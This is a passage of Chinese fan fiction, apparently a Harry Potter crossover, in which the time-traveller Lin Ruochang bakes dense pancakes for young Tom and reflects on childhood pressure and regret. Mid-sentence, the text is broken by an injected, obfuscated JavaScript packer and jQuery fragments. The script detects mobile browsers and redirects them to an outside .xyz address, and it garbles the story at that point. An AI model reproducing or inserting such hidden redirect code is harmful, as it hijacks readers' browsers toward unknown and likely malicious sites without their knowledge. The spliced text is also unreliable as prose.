林若常突发奇想做点小点心，她小学时就一直想做了。可惜那时年纪小连灶台都够不到，年纪够了又忙于学业没时间做这些，这个渺小的愿望是在居然在穿越后的一千年实现的。
午后的阳光透过厨房窗户，在地板上投下温暖的光斑。林若常罕见地系着条素色围裙，正对着一个看起来极其简单的说明书小册子发呆。小册子纸张泛黄，上面是简单的油墨印刷出来的菜谱。
她记得自己小学时从某个同学那里记下过类似的食谱并且一笔一划抄录下来的，那时觉得书上金灿灿、蓬松松的松饼简直是世界上最美味的梦想。可惜家里灶台太高，她够不着。后来学业繁忙，这个小小的愿望就被埋没在了无数试卷和习题之下。
没想到，穿越千年，拥有了无尽的时间和魔法力量后，这个微不足道的童年执念，反而冒了出来。
“嗯……混合面粉、鸡蛋、牛奶、糖……”林若常摩挲着下巴，眼神专注得像是在解析一个复杂的古代魔文，“发酵粉……少许？这食谱可真食谱。”
被林若常的动静吵得看不进去书的小汤姆一脸嫌弃的站在厨房外，看着她皱着眉鼓捣厨具。
“为什么不用家政魔法，林？”
事实证明驯服一只比格的最好办法就是比比格大王更神经。
“懂不懂，这叫参与感。”
林若常依旧若无其事地和着面粉，盆里的面糊看起来似乎……过于流动了？
“好像有点稀了？”她自言自语，又谨慎地加了一勺面粉进去，结果面糊立刻变得厚重起来，几乎搅不动。
“水多了加面，面多了加水……”她嘀咕着从某个遥远记忆角落里翻出来的“口诀”，完全没注意到旁边汤姆的眼神已经从嫌弃升级为“这家伙真是没救了”的表情
终于，一碗看起来勉强能挂在勺子上的不明糊状物准备就绪。林若常将平底锅放在炉子上加热，然后小心翼翼地舀了一勺面糊，“啪”地一声倒进锅里。
滋啦——
油温似乎有点高，面糊边缘迅速焦黄卷边，而中心还冒着生的白泡。一股混合着焦香和生面粉气的味道弥漫开来。
制作过程姑且还算是顺利，林若常有点手忙脚乱地把它翻面，一铲子下去，松饼（？）一边被铲起来另一边顽强地粘在锅底，一些面糊流出来破坏了原本的形状。
“……看来火候需要调整。”林若常面不改色地总结，抽回铲子等了等，再把那个形似松饼的东西翻了个面。
汤姆忍不住开口，带着一种小大人般的无奈：“或许你可以用魔法精确控制温度和时间。”他实在无法理解这种低效且破坏厨房的行为。
林若常却摇了摇头，目光依旧盯着锅里新一轮的实验品：“那不一样。魔法太……完美了。”她顿了顿，似乎在寻找合适的词，“没锅气，没有感情全是技巧。”
她想起了很久以前，看着母亲或奶奶在厨房里忙碌，偶尔也会有失手的时候，煎糊了蛋或者放多了盐，但那时的饭菜却有着魔法变不出的、带着烟火气的味道。
那种感觉，隔了太久太久，久得只剩下一个模糊的影子，和心底一丝难以言喻的涩意。
又一勺面糊下锅。这次她调整了火候，耐心等待。面饼慢慢凝固，呈现出一种均匀的金黄色。林若常手腕一颠——
面饼在空中完成了一个不算完美的半翻转，“啪”地一下落回锅里，形状完整。可惜太厚了，看着异常敦实。
她如法炮制，又做出了几张同样敦实的“松饼”，叠放在盘子里。
最后，她拿出蜂蜜罐子，想了想，又翻出一罐不知道什么时候做的、看起来黏糊糊的蓝紫色果酱（可能是某种魔法植物的果实试验品），一起端上桌。
“尝尝。”她将盘子推到汤姆面前，自己先拿起一块，咬了一口。
汤姆犹豫地看着盘子里那块质地紧密的“松饼”，又看了看那罐散发着诡异光芒的果酱，嘴角不自觉抽抽了两下。最终还是抵不过好奇心，小心地掰了一小块，蘸了点蜂蜜放进嘴里。
口感……很实在。一点都不蓬松，但好在带着浓郁的蛋香和面粉本身的甜味，至少和松饼味道一样。谈不上多美味，但也说不上难吃。
“怎么样？”林若常问，语气平静，但眼神里有一丝不易察觉的期待。
汤姆仔细品味了一下，客观地评价：“味道可以，但不像书上的松饼。”
林若常咬了一口自己的那份，慢慢咀嚼着。好熟悉的口感，是上学那会奶奶会给自己做的糊塌子，还是奶香味的糊塌子，甜是单纯的甜，林若常吃着甜的发苦，令她反胃。
“难吃。”她自己评价道，然后机械性地咀嚼完自己所有的松饼，并庆幸自己没有做太多。
“所以，”汤姆忍不住又问，“这算是成功还是失败？我觉得至少味道是对的。”
真可怜，小魔王都开始同情你了。
“太失败了，也许。”她最终说道，语气里听不出太多情绪，“但至少能吃。”
阳光透过窗户，照在餐桌上，也照在两个人身上，林若常觉得很暖和。毕竟伦敦冬天的太阳实在难得。
林若常忽然很轻地笑了一下，那笑容极淡，几乎看不见，却让她常年冰冷的眉眼柔和了一瞬。
“小时候梦想，隔了一千年，以另一种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466743|185482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
形式实现了。虽然……嗯，有点走样。”她拿起那两个已经空了的装松饼的盘子放到水池里，“生活大概就是这样，计划总是很完美，结果往往很意外。”
“为什么要隔一千年，你有这样强大的力量，为什么你那时不做？”
小汤姆表示不满，明明他这个面瘫的监护人异常强大，他实在不信林若常没那个能力。
“我做不到。”林若常干脆道，声音平静得像在陈述一个再普通不过的事实，甚至带着一点轻松的自嘲。
她只觉得自己鼻腔发涩，“你可以理解为，我那时候在忙着尽量让自己成为一个‘有用的’人。”
“那时候啊，”她语气随意，像在聊别人的事，“好像整个世界都在催着你跑。要成绩好，要听话，要考个好学校，要找个好工作……每一步都不能走错，慢了半拍就好像要被整个世界抛下一样。”
“灶台太高了，够不着。后来够得着了，时间又太少了。”
她耸耸肩，“总觉得以后有的是机会，等考上中学就好了，等上了大学就好了，等工作稳定就好了……结果呢，‘以后’就那么一直往后推，推着推着，就把自己推没了。”
她顿了顿，仿佛在回忆什么，又仿佛只是组织语言。
“还好我早就想明白了，我是个庸才。”
她笑着说出了这个词，语气轻飘飘的，没有怨愤，只有一种认命般的坦然，“是真的。学东西要比别人花更多时间，拼命努力也只能做到‘还不错’，永远不是最拔尖的那个。好像总是差那么一点灵气，一点运气。”
“但身后还有人盼着我呀，我就只得更用力地跑啊，不敢停下来，不敢分心去做那些‘没用’的事。好像稍微松懈一点，就会被彻底甩开。”
她轻轻呼出一口气，嘴角依旧带着那点笑意，却显得空荡荡的，“一顿完美的松饼？那种东西，对当时的我来说，太奢侈了。它不在那份长长的‘必须做’的清单上。”
厨房里安静下来，只有阳光无声移动。林若常就那样站着，平静地微笑着，说着那些带着巨大压力和遗憾的过往，语气没有一丝波澜，却像有一双无形的手，慢慢攥紧了听者的心脏。
那是一种更深沉的苦涩——不是嚎啕大哭的悲伤，而是一种近乎麻木的、带着笑意的承认。承认自己的平凡，承认被环境推着走的无奈，承认那些微小愿望在现实面前的脆弱。
林若常向水池丢了个家政魔法，盘子自动洗好并飞到碗架上。她顺手摸乱了汤姆整齐的发型，并收获了黑魔王幼崽的眼刀一枚。
她祝福道：
“如果你有能力，那就别干让你遗憾的事情。”